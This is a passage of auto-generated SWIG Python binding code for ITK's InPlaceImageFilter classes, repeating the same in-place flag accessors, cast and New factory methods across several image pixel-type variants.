"""CanRunInPlace(itkInPlaceImageFilterIF2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF2IUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF2IUC2 Create a new object of the class itkInPlaceImageFilterIF2IUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF2IUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF2IUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF2IUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF2IUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_SetInPlace, None, itkInPlaceImageFilterIF2IUC2) itkInPlaceImageFilterIF2IUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_GetInPlace, None, itkInPlaceImageFilterIF2IUC2) itkInPlaceImageFilterIF2IUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_InPlaceOn, None, itkInPlaceImageFilterIF2IUC2) itkInPlaceImageFilterIF2IUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_InPlaceOff, None, itkInPlaceImageFilterIF2IUC2) itkInPlaceImageFilterIF2IUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_CanRunInPlace, None, itkInPlaceImageFilterIF2IUC2) itkInPlaceImageFilterIF2IUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_swigregister itkInPlaceImageFilterIF2IUC2_swigregister(itkInPlaceImageFilterIF2IUC2) def itkInPlaceImageFilterIF2IUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IUC2 *": """itkInPlaceImageFilterIF2IUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_cast(obj) class itkInPlaceImageFilterIF2IUS2(itkImageToImageFilterAPython.itkImageToImageFilterIF2IUS2): """Proxy of C++ itkInPlaceImageFilterIF2IUS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF2IUS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF2IUS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IUS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF2IUS2 Create a new object of the class itkInPlaceImageFilterIF2IUS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF2IUS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF2IUS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF2IUS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF2IUS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_SetInPlace, None, itkInPlaceImageFilterIF2IUS2) itkInPlaceImageFilterIF2IUS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_GetInPlace, None, itkInPlaceImageFilterIF2IUS2) itkInPlaceImageFilterIF2IUS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_InPlaceOn, None, itkInPlaceImageFilterIF2IUS2) itkInPlaceImageFilterIF2IUS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_InPlaceOff, None, itkInPlaceImageFilterIF2IUS2) itkInPlaceImageFilterIF2IUS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_CanRunInPlace, None, itkInPlaceImageFilterIF2IUS2) itkInPlaceImageFilterIF2IUS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_swigregister itkInPlaceImageFilterIF2IUS2_swigregister(itkInPlaceImageFilterIF2IUS2) def itkInPlaceImageFilterIF2IUS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IUS2 *": """itkInPlaceImageFilterIF2IUS2_cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUS2_cast(obj) class itkInPlaceImageFilterIF3IF3(itkImageToImageFilterAPython.itkImageToImageFilterIF3IF3): """Proxy of C++ itkInPlaceImageFilterIF3IF3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF3IF3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF3IF3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF3IF3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF3IF3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF3IF3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF3IF3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IF3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IF3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF3IF3 Create a new object of the class itkInPlaceImageFilterIF3IF3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF3IF3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF3IF3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF3IF3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF3IF3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_SetInPlace, None, itkInPlaceImageFilterIF3IF3) itkInPlaceImageFilterIF3IF3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_GetInPlace, None, itkInPlaceImageFilterIF3IF3) itkInPlaceImageFilterIF3IF3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_InPlaceOn, None, itkInPlaceImageFilterIF3IF3) itkInPlaceImageFilterIF3IF3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_InPlaceOff, None, itkInPlaceImageFilterIF3IF3) itkInPlaceImageFilterIF3IF3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_CanRunInPlace, None, itkInPlaceImageFilterIF3IF3) itkInPlaceImageFilterIF3IF3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_swigregister itkInPlaceImageFilterIF3IF3_swigregister(itkInPlaceImageFilterIF3IF3) def itkInPlaceImageFilterIF3IF3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IF3 *": """itkInPlaceImageFilterIF3IF3_cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IF3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IF3_cast(obj) class itkInPlaceImageFilterIF3IRGBAUC3(itkImageToImageFilterBPython.itkImageToImageFilterIF3IRGBAUC3): """Proxy of C++ itkInPlaceImageFilterIF3IRGBAUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF3IRGBAUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF3IRGBAUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IRGBAUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF3IRGBAUC3 Create a new object of the class itkInPlaceImageFilterIF3IRGBAUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF3IRGBAUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF3IRGBAUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF3IRGBAUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF3IRGBAUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_SetInPlace, None, itkInPlaceImageFilterIF3IRGBAUC3) itkInPlaceImageFilterIF3IRGBAUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_GetInPlace, None, itkInPlaceImageFilterIF3IRGBAUC3) itkInPlaceImageFilterIF3IRGBAUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_InPlaceOn, None, itkInPlaceImageFilterIF3IRGBAUC3) itkInPlaceImageFilterIF3IRGBAUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_InPlaceOff, None, itkInPlaceImageFilterIF3IRGBAUC3) itkInPlaceImageFilterIF3IRGBAUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_CanRunInPlace, None, itkInPlaceImageFilterIF3IRGBAUC3) itkInPlaceImageFilterIF3IRGBAUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_swigregister itkInPlaceImageFilterIF3IRGBAUC3_swigregister(itkInPlaceImageFilterIF3IRGBAUC3) def itkInPlaceImageFilterIF3IRGBAUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IRGBAUC3 *": """itkInPlaceImageFilterIF3IRGBAUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBAUC3_cast(obj) class itkInPlaceImageFilterIF3IRGBUC3(itkImageToImageFilterBPython.itkImageToImageFilterIF3IRGBUC3): """Proxy of C++ itkInPlaceImageFilterIF3IRGBUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF3IRGBUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF3IRGBUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IRGBUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF3IRGBUC3 Create a new object of the class itkInPlaceImageFilterIF3IRGBUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF3IRGBUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF3IRGBUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF3IRGBUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF3IRGBUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_SetInPlace, None, itkInPlaceImageFilterIF3IRGBUC3) itkInPlaceImageFilterIF3IRGBUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_GetInPlace, None, itkInPlaceImageFilterIF3IRGBUC3) itkInPlaceImageFilterIF3IRGBUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_InPlaceOn, None, itkInPlaceImageFilterIF3IRGBUC3) itkInPlaceImageFilterIF3IRGBUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_InPlaceOff, None, itkInPlaceImageFilterIF3IRGBUC3) itkInPlaceImageFilterIF3IRGBUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_CanRunInPlace, None, itkInPlaceImageFilterIF3IRGBUC3) itkInPlaceImageFilterIF3IRGBUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_swigregister itkInPlaceImageFilterIF3IRGBUC3_swigregister(itkInPlaceImageFilterIF3IRGBUC3) def itkInPlaceImageFilterIF3IRGBUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IRGBUC3 *": """itkInPlaceImageFilterIF3IRGBUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IRGBUC3_cast(obj) class itkInPlaceImageFilterIF3ISS3(itkImageToImageFilterAPython.itkImageToImageFilterIF3ISS3): """Proxy of C++ itkInPlaceImageFilterIF3ISS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF3ISS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF3ISS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3ISS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF3ISS3 Create a new object of the class itkInPlaceImageFilterIF3ISS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF3ISS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF3ISS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF3ISS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF3ISS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_SetInPlace, None, itkInPlaceImageFilterIF3ISS3) itkInPlaceImageFilterIF3ISS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_GetInPlace, None, itkInPlaceImageFilterIF3ISS3) itkInPlaceImageFilterIF3ISS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_InPlaceOn, None, itkInPlaceImageFilterIF3ISS3) itkInPlaceImageFilterIF3ISS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_InPlaceOff, None, itkInPlaceImageFilterIF3ISS3) itkInPlaceImageFilterIF3ISS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_CanRunInPlace, None, itkInPlaceImageFilterIF3ISS3) itkInPlaceImageFilterIF3ISS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_swigregister itkInPlaceImageFilterIF3ISS3_swigregister(itkInPlaceImageFilterIF3ISS3) def itkInPlaceImageFilterIF3ISS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3ISS3 *": """itkInPlaceImageFilterIF3ISS3_cast(itkLightObject obj) -> itkInPlaceImageFilterIF3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3ISS3_cast(obj) class itkInPlaceImageFilterIF3IUC3(itkImageToImageFilterAPython.itkImageToImageFilterIF3IUC3): """Proxy of C++ itkInPlaceImageFilterIF3IUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF3IUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF3IUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF3IUC3 Create a new object of the class itkInPlaceImageFilterIF3IUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF3IUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF3IUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF3IUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF3IUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_SetInPlace, None, itkInPlaceImageFilterIF3IUC3) itkInPlaceImageFilterIF3IUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_GetInPlace, None, itkInPlaceImageFilterIF3IUC3) itkInPlaceImageFilterIF3IUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_InPlaceOn, None, itkInPlaceImageFilterIF3IUC3) itkInPlaceImageFilterIF3IUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_InPlaceOff, None, itkInPlaceImageFilterIF3IUC3) itkInPlaceImageFilterIF3IUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_CanRunInPlace, None, itkInPlaceImageFilterIF3IUC3) itkInPlaceImageFilterIF3IUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_swigregister itkInPlaceImageFilterIF3IUC3_swigregister(itkInPlaceImageFilterIF3IUC3) def itkInPlaceImageFilterIF3IUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IUC3 *": """itkInPlaceImageFilterIF3IUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUC3_cast(obj) class itkInPlaceImageFilterIF3IUS3(itkImageToImageFilterAPython.itkImageToImageFilterIF3IUS3): """Proxy of C++ itkInPlaceImageFilterIF3IUS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF3IUS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF3IUS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IUS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF3IUS3 Create a new object of the class itkInPlaceImageFilterIF3IUS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF3IUS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF3IUS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF3IUS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF3IUS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_SetInPlace, None, itkInPlaceImageFilterIF3IUS3) itkInPlaceImageFilterIF3IUS3.GetInPlace = 